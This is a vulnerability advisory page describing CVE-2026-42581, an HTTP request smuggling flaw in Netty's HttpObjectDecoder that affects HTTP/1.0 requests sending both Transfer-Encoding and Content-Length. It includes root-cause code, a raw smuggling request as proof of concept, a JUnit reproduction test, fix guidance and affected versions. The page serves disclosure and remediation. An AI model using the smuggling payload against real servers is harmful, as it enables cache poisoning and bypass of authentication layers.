CVE-2026-42581: Netty: HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

Published May 7, 2026
·
Updated

NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

| Field | Value | |-----------|-------| | Library | io.netty:netty-codec-http | | Component | codec-http — HttpObjectDecoder | | Severity | HIGH | | Affects | HEAD, commit 4f3533ae confirmed |

---

Summary

HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.

---

Root Cause

java // HttpObjectDecoder.java:828-833 if (HttpUtil.isTransferEncodingChunked(message)) { this.chunked = true; if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP11) { handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only } return State.READCHUNKSIZE; }

// HttpObjectDecoder.java:870-873 protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) { message.headers().remove(HttpHeaderNames.CONTENTLENGTH); contentLength = Long.MINVALUE; }

The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP11. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.

---

Proof of Concept

POST /api HTTP/1.0\r\n Host: internal.example.com\r\n Transfer-Encoding: chunked\r\n Content-Length: 0\r\n \r\n 5\r\n GPOST\r\n 0\r\n \r\n

Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.

---

Conditions Required

1. Netty is deployed behind a reverse proxy or load balancer that is Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes). 2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation). 3. No additional HTTP/1.0 stripping layer between attacker and Netty.

---

Impact

Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.

---

Confirmed PoC Test

Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.

java package io.netty.handler.codec.http;

import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.util.CharsetUtil; import org.junit.jupiter.api.Test;

import static org.junit.jupiter.api.Assertions.;

public class NettySmugglingSec001Test {

// VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict @Test public void http10contentLengthNotStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.0\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.USASCII));

HttpRequest req = ch.readInbound(); assertEquals(HttpVersion.HTTP10, req.protocolVersion()); // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request assertNotNull(req.headers().get(HttpHeaderNames.CONTENTLENGTH), "VULNERABLE: CL not stripped"); ch.finishAndReleaseAll(); }

// SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict @Test public void http11contentLengthStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.1\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.USASCII));

HttpRequest req = ch.readInbound(); assertNull(req.headers().get(HttpHeaderNames.CONTENTLENGTH), "SAFE: CL correctly stripped"); ch.finishAndReleaseAll(); } }

---

Fix Guidance

Remove the message.protocolVersion() == HttpVersion.HTTP11 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.

Other sources

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

MITRE

Affected Software

6 affected componentsFixes available
maven/io.netty:netty-codec-http<=4.1.132.Final
4.1.133.Final
maven/io.netty:netty-codec-http>=4.2.0.Alpha1<=4.2.12.Final
4.2.13.Final
debian/netty<=1:4.1.48-4+deb11u2, <=1:4.1.48-4+deb11u3, <=1:4.1.48-7+deb12u2, <=1:4.1.48-10+deb13u1, <=1:4.1.48-16
Netty Netty<4.1.133
Netty Netty>=4.2.0<4.2.13
IBM Planning Analytics Local<=2.1.0-2.1.21

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/io.netty:netty-codec-http to a version that resolves this vulnerability.

    Fixed in 4.1.133.Final
  2. Upgrade

    Upgrade maven/io.netty:netty-codec-http to a version that resolves this vulnerability.

    Fixed in 4.2.13.Final
  3. Upgrade

    Upgrade io.netty:netty-codec-http to a version that resolves this vulnerability.

    Fixed in 4.2.13.Final
  4. Upgrade

    Upgrade io.netty:netty-codec-http to a version that resolves this vulnerability.

    Fixed in 4.1.133.Final

Event History

May 7, 2026
Advisory Published
via GitHub·12:18 AM
Data Sourced
via GitHub·12:18 AM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·05:54 PM
Data Sourced
via MITRE·05:54 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·07:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·07:17 PM
DescriptionSeverityWeaknessAffected Software
Jun 8, 2026
Data Sourced
via Debian·07:06 PM
DescriptionAffected Software
Data Sourced
via Launchpad·07:06 PM
Description
Jun 9, 2026
Data Sourced
via Ubuntu·07:07 PM
RemedyDescriptionSeverityAffected Software
Jul 9, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-42581?

The severity of CVE-2026-42581 is classified as HIGH.

2

How do I fix CVE-2026-42581?

To fix CVE-2026-42581, update to netty-codec-http version 4.1.133.Final or 4.2.13.Final or later.

3

Which versions of netty-codec-http are affected by CVE-2026-42581?

CVE-2026-42581 affects netty-codec-http versions up to and including 4.1.132.Final and 4.2.12.Final.

4

What component is impacted by CVE-2026-42581?

The component impacted by CVE-2026-42581 is the HttpObjectDecoder in the netty-codec-http library.

5

What library does CVE-2026-42581 involve?

CVE-2026-42581 involves the io.netty:netty-codec-http library.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203